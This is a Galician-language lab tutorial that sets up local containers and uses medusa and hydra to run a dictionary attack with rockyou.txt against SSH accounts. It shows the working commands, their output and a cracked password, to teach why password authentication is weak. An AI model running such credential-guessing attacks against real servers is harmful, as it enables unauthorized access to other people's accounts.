Ataques de contrasinal contra servizo SSH
Sumario
Escenario
Este escenario ten como principal obxectivo demostrar cun exemplo práctico como o sistema de autenticación por contrasinais, a pesar de ser o máis empregado polos usuarios, non é o máis seguro.
Escenario
Ó longo deste escenario traballaremos coa ferramenta medusa para lanzar un ataque de diccionario sobre o servizo ssh correndo nun equipo Linux Ubuntu.
Pódense probar outras alternativas a medusa: no equipo pirata están dispoñibles hydra e patator.
Comprobaremos que o uso deste tipo de ferramentas permite automatizar este tipo de ataques e servirá para demostrar que o sistema de autenticación por contrasinal non é o suficientemente seguro para usarse en contornos críticos.
Creación automatizada do escenario 4D
A máquina serverssh é un contedor LXD correndo Linux Ubuntu Server co servizo ssh instalado e correndo. Ademais este máquina está configurada de xeito que:
- Ven cunha serie de usuarios do sistema xa creados para que se poidan facer ataques contra máis dun usuario.
- SSH está configurado para aceptar autenticación por contrasinais.
- SSH está configurado para aceptar un número máis elevado de intentos simultáneas de autenticación para acelerar o proceso de ataque.
En primeiro lugar hai que descargar e descomprimir o arquivo script_esc_4D.zip:
$ unzip script_esc4D.zip
Archive: script_esc4D.zip creating: script_esc4D/ inflating: script_esc4D/config_pirata.yml inflating: script_esc4D/config_serverssh.yml inflating: script_esc4D/contras.txt inflating: script_esc4D/escenario_4D.sh inflating: script_esc4D/network_PLANTILLA.yml inflating: script_esc4D/profile_LAN
$ chmod 755 escenario_4D.sh $ ls -lhF
total 24K -rwxr-xr-x 1 asir asir 1,5K ene 31 12:36 config_pirata.yml* -rwxr-xr-x 1 asir asir 2,0K ene 31 12:36 config_serverssh.yml* -rwxr-xr-x 1 asir asir 372 abr 30 2024 contras.txt* -rwxr-xr-x 1 asir asir 2,4K ene 31 12:37 escenario_4D.sh* -rwxr-xr-x 1 asir asir 260 mar 27 2024 network_PLANTILLA.yml* -rwxr-xr-x 1 asir asir 190 mar 27 2024 profile_LAN*
$ ./escenario_4D.sh
----- Escenario SSH - fail2ban -----
Seleccionar operación:
1. Crear escenario
2. Parar contenedores escenario
3. Arrancar contenedores escenario
4. Borrar escenario
------
1
Crear escenario
Error: Network "lan" already exists
Error: Error inserting "LAN" into database: The profile already exists
------------------------------
creando servidor SSH
------------------------------
Launching serverssh
------------------------------
creando pirata
------------------------------
Launching pirata
+------------+---------+------------------------+-------------+-----------+----------------------+
| NAME | STATE | IPV4 | PROFILES | SNAPSHOTS | LAST USED AT |
+------------+---------+------------------------+-------------+-----------+----------------------+
| pirata | RUNNING | 192.168.100.100 (eth0) | LAN | 0 | 2026/01/31 13:15 CET |
+------------+---------+------------------------+-------------+-----------+----------------------+
| serverssh | RUNNING | 192.168.100.101 (eth0) | LAN | 0 | 2026/01/31 13:15 CET |
+------------+---------+------------------------+-------------+-----------+----------------------+
No meu caso o profile e a rede lan xa estaban creadas e por iso saen as mensaxes de erro. No caso de non estar, o script procedería á crealas.
No ficheiro contras.txt hai unha listaxe de hashes e contrasinais asociados ós usuarios asir01, asir02, asir03 e asir04 presentes na máquina serverssh.
Atacando contrasinais
No primeiro escenario viuse como o servidor ssh envía a súa clave pública para autenticarse fronte o cliente e despois o cliente autentícase usando un contrasinal. O sistema de autenticación por contrasinais seguramente é o máis empregado polos usuarios; sen embargo non é considerado como o máis seguro, descartándose o seu uso en sistemas críticos. Este sistema de autenticación ten problemas de seguridade derivados de contrasinais non seguras (curtas ou predecibles), malas prácticas dos usuarios (gardar contrasinais en papel, dar o contrasinal a outras persoas, reutilización de contrasinais, etc.) e ataques de contrasinal.
Os ataques de contrasinal soen dividirse en dous tipos:
- Ataque de dicionario
- o atacante ten un arquivo cunha lista de contrasinais e vai probando unha a unha ata que unha entrada da lista funciona ou ata rematar a lista. O dicionario normalmente está elaborado cunha serie de palabras determinadas polo idioma, dialecto, palabras de interese para o usuario, ... É un sistema relativamente rápido pero con poucas probabilidades de éxito en sistemas que usen contrasinais fortes.
- Ataque de forza bruta ou de rango
- consiste en probar todas as combinacións posibles ata encontrar a válida. O atacante define unha serie de patróns baseados en números, caracteres, letras minúsculas e/ou maíusculas, lonxitude máxima da contrasinal ... Trátase dun método lento e limitado á lonxitude establecida do contrasinal; por exemplo, se o atacante vai probar todas as combinacións de número e letras ata un máximo de 8 caracteres e o contrasinal ten 9, o ataque será unha perda de tempo.
Nas seguintes imaxes pode verse a diferenza entre as contrasinais a probar nun ataque de diccionario e nun ataque de forza bruta:
Forza bruta Diccionario PENDIENTE Fig. Configuración do modo promiscuo no adaptador de rede.
Medusa
Medusa é unha ferramenta para lanzar ataques de contrasinal contra servizos FTP, HTTP, SSH, SMB, VNC, POP3, IMAP, MySQL e Telnet entre outros. Permite especificar listas de usuarios e contrasinais así como configurar o número de comprobacións en paralelo a efectuar.
Instalación de medusa en Ubuntu Linux
Empregaremos pirata como equipo atacante e xa ten instalado medusa. No caso de traballar con outro sistema e querer instalalo:
$ sudo apt update $ sudo apt install medusa $ medusa -V Medusa v2.2 [1] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Ataques de contrasinais con medusa
Para lanzar medusa executamos medusa directamente dende una terminal e coa opción -d podemos ver a lista de módulos dispoñible; é dicir, a lista de protocolos que pode atacar:
$ medusa -d
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Available modules in "." :
Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
+ cvs.mod : Brute force module for CVS sessions : version 2.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
+ http.mod : Brute force module for HTTP : version 2.1
+ imap.mod : Brute force module for IMAP sessions : version 2.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 2.0
+ mysql.mod : Brute force module for MySQL sessions : version 2.0
+ nntp.mod : Brute force module for NNTP sessions : version 2.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
+ pop3.mod : Brute force module for POP3 sessions : version 2.0
+ postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
+ rexec.mod : Brute force module for REXEC sessions : version 2.0
+ rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
+ rsh.mod : Brute force module for RSH sessions : version 2.0
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
+ smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 2.1
+ ssh.mod : Brute force module for SSH v2 sessions : version 2.1
+ svn.mod : Brute force module for Subversion sessions : version 2.1
+ telnet.mod : Brute force module for telnet sessions : version 2.0
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
+ vnc.mod : Brute force module for VNC sessions : version 2.1
+ web-form.mod : Brute force module for web forms : version 2.1
+ wrapper.mod : Generic Wrapper Module : version 2.0
A continuación vemos os parámetros de configuración, estando os máis salientables para a nosa práctica en negriña:
$ medusa
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ALERT: Host information must be supplied.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-c [NUM] : Time to wait in usec to verify socket is available (default 500 usec).
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module's usage information
-v [NUM] : Verbose level [0 - 6 (more)]
-w [NUM] : Error debug level [0 - 10 (more)]
-V : Display version
-Z [TEXT] : Resume scan based on map of previous scan
Para o noso ataque escolleremos:
- -h 192.168.100.101 --> o equipo que imos atacar (serverssh).
- -u asir04 --> atacaremos a conta do usuario asir01.
- -P rockyou.txt --> dicionario rockyou.txt a usar no ataque (arquivo coas contrasinais a probar).
- -M ssh --> módulo de ssh (servizo a atacar).
- -f --> abandonar cando se acerte o contrasinal.
- -t 6 --> 6 probas de autenticación simultáneas.
Os dicionarios poden:
- ser creados a partir de información do obxectivo
- empregar dicionarios dispoñibles en Internet (por exemplo creados a partir de incidentes informáticos con fugas de información)
- unha mistura destas opcións.
A modo de exemplo empregarase o famoso rockyou. Éste e outros wordlists están dispoñibles en repositorios como SecLists.
Pasamos dende o equipo anfitrión o arquivo rockyou.txt .txt ó contedor medusa e lanzamos o ataque:
$ incus file push rockyou.txt pirata/home/ubuntu/ --mode 644 --uid 1001 --gid 1003 $ ls -lhF
total 85M -rw-r--r-- 1 ubuntu ubuntu 134M ene 31 13:26 rockyou.txt
$ medusa -h 192.168.100.101 -u asir04 -P rockyou.txt -M ssh -f -t 6
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: princess (1 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 1234567 (2 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 123456789 (3 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 12345 (4 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: 123456 (5 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: iloveyou (6 of 14344390 complete) ... ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 0 complete) Password: pokemon (169 of 14344390 complete) ACCOUNT FOUND: [ssh] Host: 192.168.100.101 User: asir04 Password: pokemon [SUCCESS] ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: victoria (170 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: honey (171 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: 00000 (172 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: fernando (173 of 14344390 complete) ACCOUNT CHECK: [ssh] Host: 192.168.100.101 (1 of 1, 0 complete) User: asir04 (1 of 1, 1 complete) Password: maggie (174 of 14344390 complete)
Atopamos o contrasinal de asir04 e procedemos a comprobalo accedendo por ssh á máquina vítima:
$ ssh asir04@192.168.100.101
The authenticity of host '192.168.100.101 (192.168.100.101)' can't be established. ED25519 key fingerprint is SHA256:a5eLEwJIrmRlknAqzHF9732pKNqQYrQbgkToKAi287g. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.100.101' (ED25519) to the list of known hosts. asir04@192.168.100.101's password:
E poderemos acceder!
Hydra
Tamén existen ferramentas como hydra e a súa versión gráfica hydra-gtk. É unha ferramenta moi rápida e poderosa, pero nalgunhas versións os ataques contra o protocolo ssh presentan erros e non funcionan correctamente. Inclúo unha serie de capturas de pantalla para que vexades como funciona por se queredes probala:
Lanzando hygra-gtk
Lanzando hygra-gtk
xHydra
xhydra - Configurando obxectivo
Fig. Escollendo equipo obxectivo e protocolo a atacar en Hydra
xhydra - Configurando usuario/diccionario
Fig. Escollendo nome de usuario e diccionario a usar no ataque
xhydra - Configurando nº de probas simultaneas
Fig. Opción de configuración para o ataque (nº de intentos en paralelo, timeout, ...).
xhydra - Atacando obxectivo
Fig. Evolución do ataque
O resultado do ataque debería ser algo como esto:
xHydra - contrasinal de root
Fig. Ataque ó contrasinal do usuario root rematado con éxito
Como pode verse na parte inferior da imaxe aparece o comando para executarse na liña de comandos no caso de non ter contorna gráfica.